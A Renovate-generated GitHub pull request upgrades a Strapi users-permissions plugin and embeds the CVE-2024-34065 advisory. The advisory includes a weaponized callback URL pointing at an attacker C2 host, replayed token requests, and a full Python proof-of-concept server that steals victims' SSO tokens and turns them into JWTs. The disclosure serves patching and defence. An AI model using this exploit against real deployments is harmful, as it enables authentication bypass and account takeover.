Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix(deps): update dependency @strapi/plugin-users-permissions to v4.24.2 [security] #444

Open
wants to merge 1 commit into
base: main
Choose a base branch
from

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Aug 6, 2024

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
@strapi/plugin-users-permissions 4.15.5 -> 4.24.2 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-34065

Summary

By combining two vulnerabilities (an Open Redirect and session token sent as URL query parameter) in Strapi framework is its possible of an unauthenticated attacker to bypass authentication mechanisms and retrieve the 3rd party tokens. The attack requires user interaction (one click).

Impact

Unauthenticated attackers can leverage two vulnerabilities to obtain an 3rd party token and the bypass authentication of Strapi apps.

Technical details

Vulnerability 1: Open Redirect

Description

Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain.

In the specific context of Strapi, this vulnerability allows the SSO token to be stolen, allowing an attacker to authenticate himself within the application.

Remediation

If possible, applications should avoid incorporating user-controllable data into redirection targets. In many cases, this behavior can be avoided in two ways:

  • Remove the redirection function from the application, and replace links to it with direct links to the relevant target URLs.
  • Maintain a server-side list of all URLs that are permitted for redirection. Instead of passing the target URL as a parameter to the redirector, pass an index into this list.

If it is considered unavoidable for the redirection function to receive user-controllable input and incorporate this into the redirection target, one of the following measures should be used to minimize the risk of redirection attacks:

  • The application should use relative URLs in all of its redirects, and the redirection function should strictly validate that the URL received is a relative URL.
  • The application should use URLs relative to the web root for all of its redirects, and the redirection function should validate that the URL received starts with a slash character. It should then prepend http://yourdomainname.com to the URL before issuing the redirect.
Example 1: Open Redirect in /api/connect/microsoft via $_GET["callback"]
  • Path: /api/connect/microsoft
  • Parameter: $_GET["callback"]

Payload:

https://google.fr/

Final payload:

https://<TARGET>/api/connect/microsoft?callback=https://google.fr/

User clicks on the link:
c1

Look at the intercepted request in Burp and see the redirect to Microsoft:

c0

Microsoft check the cookies and redirects to the original domain (and route) but with different GET parameters.

Then, the page redirects to the domain controlled by the attacker (and a token is added to controlled the URL):

c2

The domain originally specified (https://google.fr) as $_GET["callback"] parameter is present in the cookies. So <TARGET> is using the cookies (koa.sess) to redirect.

c3

koa.sess cookie:

eyJncmFudCI6eyJwcm92aWRlciI6Im1pY3Jvc29mdCIsImR5bmFtaWMiOnsiY2FsbGJhY2siOiJodHRwczovL2dvb2dsZS5mci8ifX0sIl9leHBpcmUiOjE3MDAyMzQyNDQyNjMsIl9tYXhBZ2UiOjg2NDAwMDAwfQ==
{"grant":{"provider":"microsoft","dynamic":{"callback":"https://google.fr/"}},"_expire":1700234244263,"_maxAge":86400000}

The vulnerability seems to come from the application's core:

File: packages/plugins/users-permissions/server/controllers/auth.js

'use strict';

/**
 * Auth.js controller
 *
 * @&#8203;description: A set of functions called "actions" for managing `Auth`.
 */

/* eslint-disable no-useless-escape */
const crypto = require('crypto');
const _ = require('lodash');
const { concat, compact, isArray } = require('lodash/fp');
const utils = require('@&#8203;strapi/utils');
const {
  contentTypes: { getNonWritableAttributes },
} = require('@&#8203;strapi/utils');
const { getService } = require('../utils');
const {
  validateCallbackBody,
  validateRegisterBody,
  validateSendEmailConfirmationBody,
  validateForgotPasswordBody,
  validateResetPasswordBody,
  validateEmailConfirmationBody,
  validateChangePasswordBody,
} = require('./validation/auth');

const { getAbsoluteAdminUrl, getAbsoluteServerUrl, sanitize } = utils;
const { ApplicationError, ValidationError, ForbiddenError } = utils.errors;

const sanitizeUser = (user, ctx) => {
  const { auth } = ctx.state;
  const userSchema = strapi.getModel('plugin::users-permissions.user');

  return sanitize.contentAPI.output(user, userSchema, { auth });
};

module.exports = {
  async callback(ctx) {
    const provider = ctx.params.provider || 'local';
    const params = ctx.request.body;

    const store = strapi.store({ type: 'plugin', name: 'users-permissions' });
    const grantSettings = await store.get({ key: 'grant' });

    const grantProvider = provider === 'local' ? 'email' : provider;

    if (!_.get(grantSettings, [grantProvider, 'enabled'])) {
      throw new ApplicationError('This provider is disabled');
    }

    if (provider === 'local') {
      await validateCallbackBody(params);

      const { identifier } = params;

      // Check if the user exists.
      const user = await strapi.query('plugin::users-permissions.user').findOne({
        where: {
          provider,
          $or: [{ email: identifier.toLowerCase() }, { username: identifier }],
        },
      });

      if (!user) {
        throw new ValidationError('Invalid identifier or password');
      }

      if (!user.password) {
        throw new ValidationError('Invalid identifier or password');
      }

      const validPassword = await getService('user').validatePassword(
        params.password,
        user.password
      );

      if (!validPassword) {
        throw new ValidationError('Invalid identifier or password');
      }

      const advancedSettings = await store.get({ key: 'advanced' });
      const requiresConfirmation = _.get(advancedSettings, 'email_confirmation');

      if (requiresConfirmation && user.confirmed !== true) {
        throw new ApplicationError('Your account email is not confirmed');
      }

      if (user.blocked === true) {
        throw new ApplicationError('Your account has been blocked by an administrator');
      }

      return ctx.send({
        jwt: getService('jwt').issue({ id: user.id }),
        user: await sanitizeUser(user, ctx),
      });
    }

    // Connect the user with the third-party provider.
    try {
      const user = await getService('providers').connect(provider, ctx.query);

      if (user.blocked) {
        throw new ForbiddenError('Your account has been blocked by an administrator');
      }

      return ctx.send({
        jwt: getService('jwt').issue({ id: user.id }),
        user: await sanitizeUser(user, ctx),
      });
    } catch (error) {
      throw new ApplicationError(error.message);
    }
  },

  //...

  async connect(ctx, next) {
    const grant = require('grant-koa');

    const providers = await strapi
      .store({ type: 'plugin', name: 'users-permissions', key: 'grant' })
      .get();

    const apiPrefix = strapi.config.get('api.rest.prefix');
    const grantConfig = {
      defaults: {
        prefix: `${apiPrefix}/connect`,
      },
      ...providers,
    };

    const [requestPath] = ctx.request.url.split('?');
    const provider = requestPath.split('/connect/')[1].split('/')[0];

    if (!_.get(grantConfig[provider], 'enabled')) {
      throw new ApplicationError('This provider is disabled');
    }

    if (!strapi.config.server.url.startsWith('http')) {
      strapi.log.warn(
        'You are using a third party provider for login. Make sure to set an absolute url in config/server.js. More info here: https://docs.strapi.io/developer-docs/latest/plugins/users-permissions.html#setting-up-the-server-url'
      );
    }

    // Ability to pass OAuth callback dynamically
    grantConfig[provider].callback =
      _.get(ctx, 'query.callback') ||
      _.get(ctx, 'session.grant.dynamic.callback') ||
      grantConfig[provider].callback;
    grantConfig[provider].redirect_uri = getService('providers').buildRedirectUri(provider);

    return grant(grantConfig)(ctx, next);
  },

  //...

};

And more specifically:

...

    // Ability to pass OAuth callback dynamically
    grantConfig[provider].callback =
      _.get(ctx, 'query.callback') ||
      _.get(ctx, 'session.grant.dynamic.callback') ||
      grantConfig[provider].callback;
    grantConfig[provider].redirect_uri = getService('providers').buildRedirectUri(provider);

    return grant(grantConfig)(ctx, next);
...

Possible patch:

grantConfig[provider].callback = process.env[`${provider.toUpperCase()}_REDIRECT_URL`] || grantConfig[provider].callback

_.get(ctx, 'query.callback') = $_GET["callback"] and _.get(ctx, 'session') = $_COOKIE["koa.sess"] (which is {"grant":{"provider":"microsoft","dynamic":{"callback":"https://XXXXXXX/"}},"_expire":1701275652123,"_maxAge":86400000}) so _.get(ctx, 'session.grant.dynamic.callback') = https://XXXXXXX/.

The route is clearly defined here:

File: packages/plugins/users-permissions/server/routes/content-api/auth.js

'use strict';

module.exports = [

//...

  {
    method: 'GET',
    path: '/auth/:provider/callback',
    handler: 'auth.callback',
    config: {
      prefix: '',
    },
  },

  //...

];

File: packages/plugins/users-permissions/server/services/providers-registry.js

const getInitialProviders = ({ purest }) => ({

//..

  async microsoft({ accessToken }) {
    const microsoft = purest({ provider: 'microsoft' });

    return microsoft
      .get('me')
      .auth(accessToken)
      .request()
      .then(({ body }) => ({
        username: body.userPrincipalName,
        email: body.userPrincipalName,
      }));
  },

//..

});

If parameter $_GET["callback"] is defined in the GET request, the assignment does not evaluate all conditions, but stops at the beginning. The value is then stored in the cookie koa.sess:

koa.sess=eyJncmFudCI6eyJwcm92aWRlciI6Im1pY3Jvc29mdCIsImR5bmFtaWMiOnsiY2FsbGJhY2siOiJodHRwczovL2FkbWluLmludGUubmV0YXRtby5jb20vdXNlcnMvYXV0aC9yZWRpcmVjdCJ9fSwiX2V4cGlyZSI6MTcwMTI3NTY1MjEyMywiX21heEFnZSI6ODY0MDAwMDB9

Which once base64 decoded become {"grant":{"provider":"microsoft","dynamic":{"callback":"https://<TARGET>/users/auth/redirect"}},"_expire":1701275652123,"_maxAge":86400000}.

The signature of the cookie is stored in cookie koa.sess.sig:

koa.sess.sig=wTRmcVRrn88hWMdg84VvSD87-_0

File: packages/plugins/users-permissions/server/bootstrap/grant-config.js

//..

  microsoft: {
    enabled: false,
    icon: 'windows',
    key: '',
    secret: '',
    callback: `${baseURL}/microsoft/callback`,
    scope: ['user.read'],
  },

//..

Vulnerability 2: Session token in URL

Description

Applications should not send session tokens as URL query parameters and use instead an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

Example 1: SSO token transmitted within URL ($_GET["access_token"])
  • Path: /api/connect/microsoft
  • Parameter: $_GET["callback"]

When a callback was called, the 3rd party token was transmitted in an insecure way within the URL, which could be used to increase the impact of the Open Redirect vulnerability described previously by stealing the SSO token.

Weaponized payload:

https://<TARGET>/api/connect/microsoft?callback=http://<C2>:8080/

With a web server specially developed to exploit the vulnerability listening on <C2>:8080, it is possible to retrieve a JWT token allowing authentication on Strapi.

A user is on his browser when he decides to click on a link sent to him by e-mail.

c4

The attacker places the malicious link in the URL bar to simulate a victim's click.

c5

The server specially developed by the attacker to show that the vulnerability is exploitable, recovers the user's SSO token.

Everything is invisible to the victim.

c6

Because the victim didn't change to another Web page.

c7

The attacker can use the SSO token to authenticate himself within the application and retrieve a valid JWT token enabling him to interact with it.

c8

Details
Get the JWT token with the access_token

First of all, thanks to the SSO token, you authenticate yourself and get a JWT token to be able to interact with the various API routes.

Request (HTTP):

GET /api/auth/microsoft/callback?access_token=eyJ0eXAiOiJKV<REDACTED>yBzA HTTP/1.1
Host: <TARGET>

Response (HTTP):

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 27 Nov 2023 17:58:46 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 411
Connection: keep-alive
Content-Security-Policy: connect-src 'self' https:;img-src 'self' data: blob: https://market-assets.strapi.io;media-src 'self' data: blob:;default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline'
Referrer-Policy: no-referrer
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-DNS-Prefetch-Control: off
X-Download-Options: noopen
X-Frame-Options: SAMEORIGIN
X-Permitted-Cross-Domain-Policies: none
Vary: Origin
X-XSS-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Powered-By: <REDACTED>

{"jwt":"eyJhbG<REDACTED>eCac","user":{"id":111,"username":"<REDACTED>@&#8203;<REDACTED>-ext.com","email":"<redacted>@&#8203;<redacted>-ext.com","provider":"microsoft","confirmed":true,"blocked":false,"createdAt":"2023-11-14T12:35:42.440Z","updatedAt":"2023-11-16T21:00:19.241Z","is_external":false}}
Request API routes using the JWT token

Then reuse the JWT token to request the API.

Request (HTTP):

GET /api/users/me/groups?app=support HTTP/1.1
Host: <TARGET>
Authorization: Bearer eyJ<REDACTED>EeCac

Response (HTTP):

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 28 Nov 2023 13:45:42 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 24684
Connection: keep-alive
Content-Security-Policy: connect-src 'self' https:;img-src 'self' data: blob: https://market-assets.strapi.io;media-src 'self' data: blob:;default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline'
Referrer-Policy: no-referrer
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-DNS-Prefetch-Control: off
X-Download-Options: noopen
X-Frame-Options: SAMEORIGIN
X-Permitted-Cross-Domain-Policies: none
Vary: Origin
X-RateLimit-Limit: 10
X-RateLimit-Remaining: 9
X-RateLimit-Reset: 1701179203
X-XSS-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Powered-By: <REDACTED>

{"apps":{"support":{"groups":[{"device_whitelist":null,"name":"test - support","id":10,"group_privileges":[{"id":37,<REDACTED>

...

POC (Web server stealing SSO token and retrieving JWT token then bypassing authentication)

import base64
import json
import urllib.parse

from http.server import BaseHTTPRequestHandler, HTTPServer
from sys import argv

# Strapi URL.
TARGET = "target.com"

# URLs to which victims are automatically redirected.
REDIRECT_URL = [
    "strapi.io",
    "www.google.fr"
]

# URL used to generate a valid JWT token for authentication within the
# application.
GEN_JWT_URL = f"https://{TARGET}/api/auth/microsoft/callback"

# This function is used to generate a curl command which once executed, will

# give us a valid JWT connection token.
def generate_curl_command(token):
    command = f"curl '{GEN_JWT_URL}?access_token={token}'"
    return command

# We create a custom HTTP server to retrieve users' SSO tokens.
class CustomServer(BaseHTTPRequestHandler):

    # Here we override the default logging function to reduce verbosity.
    def log_message(self, format, *args):
        pass

    # This function automatically redirects a user to the page defined in the
    # global variable linked to the redirection.
    def _set_response(self):
        self.send_response(302)
        self.send_header("Location", REDIRECT_URL[0])
        self.end_headers()

    # If an SSO token is present, we parse it and log the result in STDOUT.
    def do_GET(self):
        # This condition checks whether a token is present in the URL.
        if str(self.path).find("access_token") != -1:
            # If this is the case, we recover the token.
            query = urllib.parse.urlparse(self.path).query
            query_components = dict(qc.split("=") for qc in query.split("&"))
            access_token = urllib.parse.unquote(query_components["access_token"])

            # In the token, which is a string in JWT format, we retrieve the
            # body part of the token.
            interesting_data = access_token.split(".")[1]

            # Patching base64 encoded data.
            interesting_data = interesting_data + "=" * (-len(interesting_data) % 4)

            # Parsing JSON.
            json_data = json.loads(base64.b64decode(interesting_data.encode()))
            family_name, given_name, ipaddr, upn = json_data["given_name"], json_data["family_name"], json_data["ipaddr"], json_data["upn"]

            print(f"[+] Token captured for {family_name} {given_name}, {upn} ({ipaddr}):\n{access_token}\n")
            print(f"[*] Run: \"{generate_curl_command(query_components['access_token'])}\" to get JWT token")

        self._set_response()
        self.wfile.write("Redirecting ...".encode("utf-8"))

def run(server_class=HTTPServer, handler_class=CustomServer, ip="0.0.0.0", port=8080):
    server_address = (ip, port)
    httpd = server_class(server_address, handler_class)

    print(f"Starting httpd ({ip}:{port}) ...")
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass

    httpd.server_close()
    print("Stopping httpd ...")

if __name__ == "__main__":
    if len(argv) == 3:
        run(ip=argv[1], port=int(argv[2]))
    else:
        run()

Release Notes

strapi/strapi (@​strapi/plugin-users-permissions)

v4.24.2

Compare Source

⚠️ Security Warning and Notice ⚠️

Strapi was made aware of a vulnerably that were patched in this release, for now we are going to delay the detailed disclosure of the exact details on how to exploit it and how it was patched to give time for users to upgrade before we do public disclosure.

📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

Full Changelog: strapi/strapi@v4.24.2...v4.24.1

v4.24.1

Compare Source

🔥 Bug fix
📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

v4.24.0

Compare Source

🔥 Bug fix
⚙️ Chore
📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

v4.23.2

Compare Source

What's Changed

Full Changelog: strapi/strapi@v4.23.1...v4.23.2

v4.23.1

Compare Source

📖 Documentation
⚙️ Chore
🔥 Bug fix
📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

v4.23.0

Compare Source

⚙️ Chore
🔥 Bug fix
🚀 New feature
💅 Enhancement
📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

v4.22.1

Compare Source

What's Changed

Full Changelog: strapi/strapi@v4.22.0...v4.22.1

v4.22.0

Compare Source

⚠️ Security Warning and Notice ⚠️

Strapi was made aware of a vulnerably that were patched in this release, for now we are going to delay the detailed disclosure of the exact details on how to exploit it and how it was patched to give time for users to upgrade before we do public disclosure.

🔥 Bug fix
🚀 New feature
⚙️ Chore
📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

v4.21.1

Compare Source

💅 Enhancement
🔥 Bug fix
📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

v4.21.0

Compare Source

💅 Enhancement
🚀 New feature
📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here

v4.20.5

Compare Source

🔥 Bug fix
⚙️ Chore
📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

v4.20.4

Compare Source

💅 Enhancement
🔥 Bug fix
⚙️ Chore
📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

v4.20.3

Compare Source

🔥 Bug fix
📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

v4.20.2

Compare Source

🔥 Bug fix
📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

v4.20.1

Compare Source

💅 Enhancement
🔥 Bug fix
⚙️ Chore
📖 Documentation
🚀 New feature
📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

v4.20.0

Compare Source

🔥 Bug fix
💅 Enhancement
📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

v4.19.1

Compare Source

🔥 Bug fix
💅 Enhancement
⚙️ Chore
📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

v4.19.0

Compare Source

🚀 New feature
💅 Enhancement
⚙️ Chore
🔥 Bug fix
📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

v4.18.0

Compare Source

v4.17.1

Compare Source

What's Changed

Full Changelog: strapi/strapi@v4.17.0...v4.17.1

📚 Update and Migration Guides
  • General update guide can be found here
  • Migration guides can be found here 📚

v4.17.0

Compare Source

🔥 Bug fix
🚀 New feature
  • [core:content-releases] feat(

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the renovate label Aug 6, 2024
Copy link

New and removed dependencies detected. Learn more about Socket for GitHub ↗︎

Package New capabilities Transitives Size Publisher
npm/@strapi/[email protected] Transitive: environment, eval, network +70 16 MB marc-roig-strapi

🚮 Removed packages: npm/@strapi/[email protected]

View full report↗︎

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

0 participants